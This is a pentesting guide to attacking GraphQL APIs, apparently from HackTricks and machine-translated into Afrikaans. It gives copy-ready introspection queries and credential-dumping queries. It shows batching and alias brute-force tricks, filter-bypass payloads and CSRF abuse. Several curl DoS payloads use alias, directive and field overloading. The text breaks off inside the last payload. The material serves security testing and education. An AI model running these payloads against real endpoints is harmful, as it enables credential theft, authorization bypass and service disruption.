GraphQL
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Introduction
GraphQL word uitgelig as ’n doeltreffende alternatief vir REST API en bied ’n vereenvoudigde benadering om data vanaf die backend op te vra. In teenstelling met REST, wat dikwels talle requests oor verskeie endpoints vereis om data in te samel, stel GraphQL in staat om al die nodige inligting deur ’n single request te kry. Hierdie stroomlynvorming bevoordeel ontwikkelaars aansienlik deur die kompleksiteit van hul data-ophaalprosesse te verminder.
GraphQL and Security
Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. ’n Belangrike punt om te noem is dat GraphQL nie standaard outentiseringsmeganismes insluit nie. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike authentication kan GraphQL endpoints sensitiewe inligting aan ongesertifiseerde gebruikers blootstel, wat ’n beduidende sekuriteitsrisiko inhou.
Directory Brute Force Attacks and GraphQL
Om blootgestelde GraphQL-instanse te identifiseer, word dit aanbeveel om spesifieke paths by directory brute force-aanvalle in te sluit. Hierdie paths is:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Die identifikasie van oop GraphQL-instanse laat toe dat die ondersteunde queries ondersoek word. Dit is noodsaaklik om te verstaan watter data deur die endpoint toeganklik is. GraphQL se introspection-stelsel vergemaklik dit deur die queries wat ’n schema ondersteun te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspection: GraphQL: A query language for APIs.
Fingerprint
Die tool graphw00f kan identifiseer watter GraphQL-engine op ’n server gebruik word en druk dan nuttige inligting vir die sekuriteitsouditeur.
Universele queries
Om te kontroleer of ’n URL ’n GraphQL-diens is, kan ’n universele query, query{__typename}, gestuur word. Indien die respons {"data": {"__typename": "Query"}} insluit, bevestig dit dat die URL ’n GraphQL-endpoint huisves. Hierdie metode berus op GraphQL se __typename veld, wat die tipe van die gevraagde objek openbaar.
query{__typename}
Basiese enumerasie
Graphql ondersteun gewoonlik GET, POST (x-www-form-urlencoded) en POST(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF-aanvalle te voorkom.
Introspeksie
Om introspeksie te gebruik om schema-inligting te ontdek, query die __schema field. Hierdie veld is beskikbaar op die root type van alle queries.
query={__schema{types{name,fields{name}}}}
Met hierdie query sal jy die name van al die types wat gebruik word vind:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
Met hierdie query kan jy alle types, hul fields, en hul arguments (en die tipe van die args) uittrek. Dit sal baie nuttig wees om te weet hoe om die database te query.
.png)
Foute
Dit is interessant om te weet of die foute gewys gaan word, aangesien hulle met nuttige inligting. sal bydra.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Enumereer databasis-skema via introspeksie
Tip
As introspeksie geaktiveer is, maar die bogenoemde query nie uitgevoer word nie, probeer om die
onOperation,onFragment, enonFielddirectives uit die query-struktuur te verwyder.
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Inlyn introspeksie-navraag:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Die laaste kode-reël is ’n graphql query wat al die meta-inligting van die graphql sal dump (objects names, parameters, types…)
.png)
As introspection geaktiveer is, kan jy GraphQL Voyager gebruik om in ’n GUI al die opsies te sien.
Navrae
Nou dat ons weet watter soort inligting in die databasis gestoor word, kom ons probeer onttrek sommige waardes.
In die introspection kan jy vind watter objek jy direk kan query (want jy kan nie ’n objek query net omdat dit bestaan nie). In die volgende beeld kan jy sien dat die “queryType” genaamd is “Query” en dat een van die velde van die “Query”-objek “flags” is, wat ook ’n tipe objek is. Daarom kan jy die flag-objek query.

Let wel dat die tipe van die query “flags” “Flags” is, en hierdie objek word soos hieronder gedefinieer:
.png)
Jy kan sien dat die “Flags”-objekte saamgestel is uit name en .value. Dan kan jy alle names en values van die flags kry met die query:
query={flags{name, value}}
Neem kennis dat in die geval die object to query ’n primitive type soos string is, soos in die volgende voorbeeld
.png)
Jy kan dit eenvoudig query met:
query = { hiddenFlags }
In nog ’n voorbeeld waar daar 2 objects binne die “Query” tipe object was: “user” en “users”.
As hierdie objects nie ’n argument benodig om te soek nie, kan jy net alle inligting daaruit onttrek deur eenvoudig te vra vir die data wat jy wil hê. In hierdie voorbeeld vanaf die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:
.png)
Maar in hierdie voorbeeld, as jy dit probeer doen, kry jy hierdie fout:
.png)
Dit lyk of dit op een of ander manier soek deur die “uid” argument van tipe Int te gebruik.
Ons het dit reeds geweet; in die Basic Enumeration afdeling is ’n query voorgestel wat ons al die nodige inligting wys: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
As jy die beeld lees wat verskaf is toe ek daardie query uitgevoer het, sal jy sien dat “user” die arg “uid” van tipe Int gehad het.
Dus, deur ’n ligte uid bruteforce uit te voer het ek gevind dat by uid=1 ’n gebruikersnaam en ’n wagwoord teruggegee is:query={user(uid:1){user,password}}
.png)
Let daarop dat ek ontdek het dat ek vir die parameters “user” en “password” kon vra, want as ek probeer soek na iets wat nie bestaan nie (query={user(uid:1){noExists}}) kry ek hierdie fout:
.png)
En tydens die enumeration phase het ek ontdek dat die “dbuser” object die velde “user” en “password” gehad het.
Query string dump trick (thanks to @BinaryShadow_)
As jy kan soek volgens ’n string tipe, soos: query={theusers(description: ""){username,password}} en jy search for an empty string sal dit dump all data. (Nota: hierdie voorbeeld is nie verwant aan die voorbeeld van die tutorials nie; vir hierdie voorbeeld veronderstel jy kan soek met “theusers” deur ’n String veld genaamd “description”.)
Soek
In hierdie opstelling bevat ’n database persons en movies. Persons word geïdentifiseer deur hul email en name; movies deur hul name en rating. Persons kan vriende wees met mekaar en het ook movies, wat verhoudings binne die database aandui.
Jy kan soek persons op die name en hul emails kry:
{
searchPerson(name: "John Doe") {
email
}
}
Jy kan soek persone op die naam en kry hul geabonneerde films:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Let op hoe dit aangedui word om die name van die subscribedMovies van die persoon te kry.
Jy kan ook verskeie objekte terselfdertyd soek. In hierdie geval word ’n soektog na 2 films gedoen:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Of selfs verhoudings van verskeie verskillende objekte met aliasse:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutasies
Mutasies word gebruik om veranderinge aan die bedienerkant aan te bring.
In die introspeksie kan jy die verklaarde mutasies vind. In die volgende beeld word die “MutationType” genoem “Mutation” en die “Mutation” objek bevat die name van die mutasies (soos “addPerson” in hierdie geval):
.png)
In hierdie opstelling bevat ’n databasis persone en films. Persone word geïdentifiseer deur hul e-pos en naam; films deur hul naam en gradering. Persone kan vriende van mekaar wees en ook films hê, wat verwantskappe binne die databasis aandui.
’n mutasie om nuwe films in die databasis te skep kan soos volg wees (in hierdie voorbeeld heet die mutasie addMovie):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Let daarop dat beide die waardes en die tipe data in die query aangedui word.
Verder ondersteun die databasis ’n mutation-operasie met die naam addPerson, wat die skepping van persons tesame met hul assosiasies met bestaande friends en movies moontlik maak. Dit is uiters belangrik om te let dat die friends en movies reeds in die databasis moet bestaan voordat hulle aan die nuut geskepte person gekoppel word.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
Soos verduidelik in one of the vulns described in this report, ‘directive overloading’ behels die aanroep van ’n directive baie kere — selfs miljoene kere — om die bediener operasies te laat mors totdat dit moontlik is om dit te DoS.
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Autentisering deur GraphQL API deur tegelyk baie queries met verskillende credentials te stuur om dit te toets. Dit is ’n klassieke brute force-aanval, maar nou is dit moontlik om meer as een login/password paar per HTTP-request te stuur as gevolg van die GraphQL batching feature. Hierdie benadering sal eksterne rate monitoring-toepassings mislei om te dink alles is in orde en daar is geen brute-forcing bot wat probeer wagwoorde raai nie.
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
Soos ons uit die response-screenshot kan sien, het die eerste en die derde requests null teruggegee en die ooreenstemmende inligting in die error afdeling weerspieël. Die second mutation had the correct authentication data en die response het die korrekte authentication session token teruggegee.
 (1).png)
GraphQL Without Introspection
Meer en meer graphql endpoints are disabling introspection. Nietemin is die errors wat graphql gooi wanneer ’n onverwags request ontvang word genoeg vir tools soos clairvoyance om die meeste van die schema te herbou.
Boonop observeer die Burp Suite extension GraphQuail GraphQL API requests wat deur Burp gaan en bou ’n interne GraphQL schema met elke nuwe query wat dit sien. Dit kan die schema ook blootstel vir GraphiQL en Voyager. Die extension stuur ’n fake response terug wanneer dit ’n introspection query ontvang. Gevolglik wys GraphQuail alle queries, arguments, en fields wat binne die API beskikbaar is. Vir meer inligting check this.
’n goeie wordlist om te ontdek: GraphQL entities can be found here.
Bypassing GraphQL introspection defences
Om beperkings op introspection queries in APIs te omseil, blyk dit doeltreffend om ’n spesiale karakter na die __schema keyword in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaar-oorstappies in regex-patrone wat daarop gemik is om introspection te blokkeer deur op die __schema keyword te fokus. Deur karakters soos spaces, new lines, and commas by te voeg — wat GraphQL ignoreer, maar wat moontlik nie in die regex oorweeg is nie — kan beperkings omseil word. Byvoorbeeld, ’n introspection query met ’n newline na die __schema kan sulke verdedigings omseil:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
As dit nie suksesvol is nie, oorweeg alternatiewe versoekmetodes, soos GET requests of POST with x-www-form-urlencoded, aangesien beperkings dalk slegs op POST requests van toepassing mag wees.
Probeer WebSockets
Soos vermeld in this talk, kyk of dit moontlik is om met graphQL via WebSockets te koppel, aangesien dit jou moontlik in staat stel om ’n potensiële WAF te omseil en die websocket-kommunikasie die schema van die graphQL te laat leak:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
Ontdekking van Blootgestelde GraphQL-strukture
Wanneer introspection gedeaktiveer is, is dit nuttig om die webwerf se bronkode te ondersoek vir voorafgelaaide queries in JavaScript-biblioteke. Hierdie queries kan gevind word deur die Sources-tab in ontwikkelaarhulpmiddels te gebruik, wat insigte in die API se skema verskaf en potensieel blootgestelde sensitiewe queries openbaar. Die opdragte om binne die ontwikkelaarhulpmiddels te soek is:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
When introspection is blocked, InQL v6.1+ can now reconstruct the reachable schema purely from error feedback. The new schema bruteforcer batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:
Field 'bugs' not found on type 'inql'bevestig die bestaan van die ouer tipe en verwerp ongeldig veldname.Argument 'contribution' is requiredwys dat ’n argument verpligtend is en openbaar sy spelling.- Suggestion hints such as
Did you mean 'openPR'?word teruggevoer na die ry as gevalideerde kandidate. - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like
[Episode!].
Die bruteforcer bly rekursief oor enige tipe wat nuwe velde lewer, so ’n wordlist wat generiese GraphQL-name met app-spesifieke raaiskote meng, sal uiteindelik groot dele van die schema kaarteer sonder introspection. Runtime word hoofsaaklik beperk deur rate limiting en kandidaatvolume, dus is die fynafstelling van die InQL-instellings (wordlist, batch size, throttling, retries) krities vir meer stealthier engagements.
In die selfde vrystelling stuur InQL ook ’n GraphQL engine fingerprinter (borrowing signatures from tools like graphw00f). Die module stuur doelbewus ongeldige directives/queries en klassifiseer die backend deur die presiese foutteks te vergelyk. Byvoorbeeld:
query @deprecated {
__typename
}
- Apollo replies with
Directive "@deprecated" may not be used on QUERY. - GraphQL Ruby answers
'@deprecated' can't be applied to queries.
Sodra ’n engine herken word, haal InQL die ooreenstemmende inskrywing uit die GraphQL Threat Matrix na vore, wat toetsers help om swakpunte wat met daardie bedienerfamilie saamkom te prioritiseer (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Laastens, automatic variable generation verwyder ’n klassieke blokkeerpunt wanneer jy na Burp Repeater/Intruder spring. Wanneer ’n operasie ’n variables JSON vereis, injekteer InQL nou sinvolle verstekwaardes sodat die versoek schema validation slaag by die eerste stuur:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Geneste input-objekte erf dieselfde mapping, sodat jy onmiddellik ’n sintakties en semanties geldige payload kry wat gefuzz kan word vir SQLi/NoSQLi/SSRF/logic bypasses sonder om elke argument handmatig te reverse-engineer.
CSRF in GraphQL
As jy nie weet wat CSRF is nie, lees die volgende bladsy:
CSRF (Cross Site Request Forgery)
Daar buite gaan jy verskeie GraphQL endpoints vind wat gekonfigureer is sonder CSRF tokens.
Neem kennis dat GraphQL requests gewoonlik via POST requests gestuur word met die Content-Type application/json.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Die meeste GraphQL-endpoints ondersteun egter ook form-urlencoded POST requests:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Dus, aangesien CSRF-versoeke soos die vorige sonder preflight requests gestuur word, is dit moontlik om uit te voer wysigings in die GraphQL deur ’n CSRF te misbruik.
Let wel dat die nuwe standaard cookie-waarde van die samesite vlag van Chrome is Lax. Dit beteken dat die cookie slegs vanaf ’n derdeparty-web in GET-versoeke gestuur sal word.
Let daarop dat dit gewoonlik moontlik is om die query request ook as ’n GET request te stuur en die CSRF token moontlik nie in ’n GET-versoek gevalideer word nie.
Verder kan die misbruik van ’n XS-Search attack moontlik wees om inhoud uit die GraphQL endpoint te exfiltrateer deur die credentials van die gebruiker te misbruik.
For more information check the original post here.
Cross-site WebSocket hijacking in GraphQL
Soos met CRSF-kwetsbaarhede wat GraphQL misbruik, is dit ook moontlik om ’n Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies uit te voer en ’n gebruiker onverwags aksies in GraphQL te laat uitvoer.
For more information check:
Authorization in GraphQL
Baie GraphQL-funksies wat op die endpoint gedefinieer is, mag net die authentication van die requester kontroleer maar nie die authorization nie.
Die wysiging van query input variables kan lei tot sensitiewe account details leaked.
Mutation kan selfs lei tot account takeover deur te probeer ander rekeningdata te wysig.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Omseil magtiging in GraphQL
Chaining queries saam kan ’n swak authentiseringstelsel omseil.
In die onderstaande voorbeeld kan jy sien dat die operasie “forgotPassword” is en dat dit slegs die forgotPassword query daarmee geassosieer moet uitvoer. Dit kan omseil word deur ’n query aan die einde by te voeg; in hierdie geval voeg ons “register” en ’n user-variabele by sodat die stelsel as ’n nuwe gebruiker registreer.
Om Rate Limits te omseil deur Aliases in GraphQL
In GraphQL is aliases ’n kragtige funksie wat toelaat dat eienskappe eksplisiet benoem word wanneer ’n API-versoek gemaak word. Hierdie vermoë is veral nuttig om meerdere instansies van dieselfde tipe objek binne ’n enkele versoek op te haal. Aliases kan gebruik word om die beperking te omseil wat keer dat GraphQL-objekte meerdere eienskappe met dieselfde naam kan hê.
Vir ’n gedetailleerde begrip van GraphQL aliases word die volgende bron aanbeveel: Aliases.
Alhoewel die primêre doel van aliases is om die behoefte aan talle API-oproepe te verminder, is ’n onbedoelde gebruiksgeval geïdentifiseer waar aliases gebruik kan word om brute force-aanvalle op ’n GraphQL-endpoint uit te voer. Dit is moontlik omdat sommige endpoints beskerm word deur rate limiters wat ontwerp is om brute force-aanvalle te voorkom deur die aantal HTTP-versoeke te beperk. Hierdie rate limiters hou egter dalk nie rekening met die aantal operasies binne elke versoek nie. Aangesien aliases die insluiting van meerdere queries in ’n enkele HTTP-versoek toelaat, kan dit sulke rate limiting-maatreëls omseil.
Oorweeg die voorbeeld hieronder, wat demonstreer hoe aliased queries gebruik kan word om die geldigheid van winkelafslagkodes te verifieer. Hierdie metode kan rate limiting omseil aangesien dit verskeie queries in een HTTP-versoek saamvoeg, wat moontlik die verifikasie van baie afslagkodes tegelyk moontlik maak.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading is ’n GraphQL-kwesbaarheid waar aanvallers ’n query oorlaai met baie aliasse vir dieselfde veld, wat veroorsaak dat die backend resolver daardie veld herhaaldelik uitvoer. Dit kan serverbronne oorweldig en lei tot ’n Denial of Service (DoS). Byvoorbeeld, in die query hieronder word dieselfde veld (expensiveField) 1,000 keer aangevra met behulp van aliasse, wat die backend dwing om dit 1,000 keer te bereken en moontlik CPU of geheue uit te put:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
Om dit te verlig, implementeer beperkings op alias-aantal, navraag-kompleksiteitsanalise, of koersbegrenzing om hulpbronmisbruik te voorkom.
Array-based Query Batching
Array-based Query Batching is ’n kwesbaarheid waar ’n GraphQL API toestaan dat veelvuldige navrae in ’n enkele versoek gebatch word, wat ’n aanvaller in staat stel om ’n groot aantal navrae gelyktydig te stuur. Dit kan die backend oorweldig deur al die gebatchde navrae parallel uit te voer, oormatige hulpbronne te verbruik (CPU, geheue, database-verbindinge) en moontlik lei tot ’n Denial of Service (DoS). As daar geen limiet is op die aantal navrae in ’n batch nie, kan ’n aanvaller dit uitbuit om diensbeskikbaarheid te degradeer.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
In hierdie voorbeeld word 10 verskillende queries in een versoek gebundel, wat die server dwing om almal terselfdertyd uit te voer. As dit uitgebuit word met ’n groter batchgrootte of rekenaar-intensiewe queries, kan dit die server oorlaai.
Directive Overloading Vulnerability
Directive Overloading vind plaas wanneer ’n GraphQL server queries toelaat met oormatige, gedupliseerde directives. Dit kan die server se parser en executor oorweldig, veral as die server herhaaldelik dieselfde directive-logika verwerk. Sonder behoorlike validasie of perke kan ’n aanvaller dit uitbuit deur ’n query saam te stel met talle gedupliseerde directives om hoë rekenaarkoste of geheuegebruik te veroorsaak, wat lei tot Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
Let daarop dat in die vorige voorbeeld @aa ’n pasgemaakte directive is wat miskien nie verklaar is nie. ’n Algemene directive wat gewoonlik bestaan is @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
Jy kan ook ’n introspection query stuur om al die verklaarde directives te ontdek:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
En dan gebruik sommige van die aangepaste eenes.
Field Duplication Vulnerability
Field Duplication is ’n kwesbaarheid waar ’n GraphQL-bediener navrae toelaat waarin dieselfde veld oormatige kere herhaal word. Dit dwing die bediener om die veld herhaaldelik vir elke voorkoms op te los, wat aansienlike hulpbronne verbruik (CPU, geheue en databasis-oproepe). ’n Aanvaller kan navrae vervaardig met honderde of duisende herhaalde velde, wat ’n hoë las veroorsaak en moontlik lei tot ’n Denial of Service (DoS).
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 